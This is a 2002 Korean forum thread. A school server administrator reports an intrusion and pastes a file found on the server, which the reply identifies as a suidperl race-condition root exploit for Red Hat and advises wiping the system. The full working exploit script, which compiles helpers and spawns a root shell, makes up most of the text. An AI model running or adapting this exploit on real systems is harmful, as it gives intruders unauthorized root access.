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>> Read No. 41969 article |
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감사합니다...ㅠㅠ
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등록 2002-02-06 17:17:00
조회 3
이름 rootz

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혹시나 했는데... 역시나...
갈아엎긴 갈아엎어야 될 것 같네요..젠장
학기말이라 바빠죽것는데....
: Perl의 버그를 이용해서 루트권한을 따는 공격도구입니다.
: 레이스컨디션을 이용하는 넘이구요....
:
: 업데이트되지 않는 레드헷의 suidperl은 그냥 이넘 죽 긁어다가 붙이구
: 실행하면 루트쉘 떨어집니다.
:
: 지우구, 시스템 갈아엎으세요...
:
: : 도대체 이게 뭘까요?
: : 학교 웹서버에 언 넘이 들어온것 같은데....
: : 로그파일도 거의 다지워지고
: : 모르는 계정도 하나 생기고...
: : ftp나 telnet도 잘 안되고..
: : telnet에서 su가 안 먹힙니다. 자꾸 incorrect passwd라고만 나오네요.
: :
: : /bin 에 check란 이름으로 들어있는 넘인데....
: : 예전에는 없었습니다. 영 찜찜해서리..
: : 아흐 머리아퍼...
: : 서버는 레드햇 6.2입니다. 이참에 서버를 갈아엎어버려?
: : ------------------------------------------------------------------------
: : # Redhat 6.2 / 6.1 / 6.0 / 5.2
: :
: : clear
: :
: : echo "Suidperl 5.00503 (and newer) root exploit"
: : echo "-----------------------------------------"
: : echo "Written by Michal Zalewski <lcamtuf at dione.ids.pl>"
: : echo "With great respect to Sebastian Krahmer..."
: : echo
: :
: : SUIDPERL=/usr/bin/suidperl
: : SUIDBIN=/usr/bin/passwd
: :
: : echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."
: :
: : if [ ! -u $SUIDPERL ]; then
: : echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
: : echo " does not exist at all. If there's +s perl binary available,"
: : echo " please change SUIDPERL variable within exploit code."
: : echo
: : exit 0
: : fi
: :
: :
: : if [ ! -u $SUIDBIN ]; then
: : echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at"
: : echo " all. Please pick any other +s binary and change SUIDBIN variable"
: : echo " within exploit code."
: : echo
: : exit 0
: : fi
: :
: : echo "[+] Checks passed, compiling flares and helper applications..."
: : echo
: :
: : cat >flare <<__eof__
: : #!/usr/bin/suidperl
: :
: : print "Nothing can stop me now...";
: :
: : __eof__
: :
: : cat >bighole.c <<__eof__
: : main() {
: : setuid(0);
: : setgid(0);
: : chown("sush",0,0);
: : __eof__
: :
: : cat >sush.c <<__eof__
: : main() {
: : setuid(0);
: : setgid(0);
: : system("/bin/bash");
: : }
: : __eof__
: :
: : make bighole sush
: :
: : echo
: :
: : if [ ! -x ./sush ]; then
: : echo "[-] Oops, seems to me I cannot compile helper applications. Either"
: : echo " you don't have working 'make' or 'gcc' utility. If possible,"
: : echo " please compile bighole.c and sush.c manually (to bighole and sush)."
: : echo
: : exit 0
: : fi
: :
: : echo "[+] Setting up environment..."
: :
: : chmod 4755 ./flare
: :
: : FILENAME='none
: :
: : ~!bighole
: :
: : '
: : export interactive=1
: : PATH=.:$PATH
: :
: : echo "[+] Starting exploit. It could take up to 5 minutes in order to get"
: : echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause"
: : echo "[+] heavy system load."
: :
: : while :; do
: : ( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null
: : &
: : ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
: : if [ -u ./sush ]; then
: : echo
: : echo "[+] VOILA, BABE :-) Entering rootshell..."
: : echo
: : rm -f "$FILENAME" sush.c bighole bighole.c flare
: : ./sush
: : echo
: : echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
: : echo
: : rm -f "$FILENAME" sush.c bighole bighole.c flare sush
: : exit 0
: : fi
: : done
: :
: : --
: : 죽것당... 뭘 알아야지...
:
: --
: Mail : iostream1111 at yahoo.com
: WWW : khpark.com
: ftp movie at khpark.com
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claude-haiku-5-5 |
이 질문은 root 권한을 얻는 악성 도구에 관한 내용이라 구체적인 방법은 안내하지 않겠습니다. 서버가 침해되었다면 suidperl 패키지를 최신으로 올리고, 의심되는 파일과 계정을 확인하거나 재설치를 고려하세요. |
10/26 00:30:15 |
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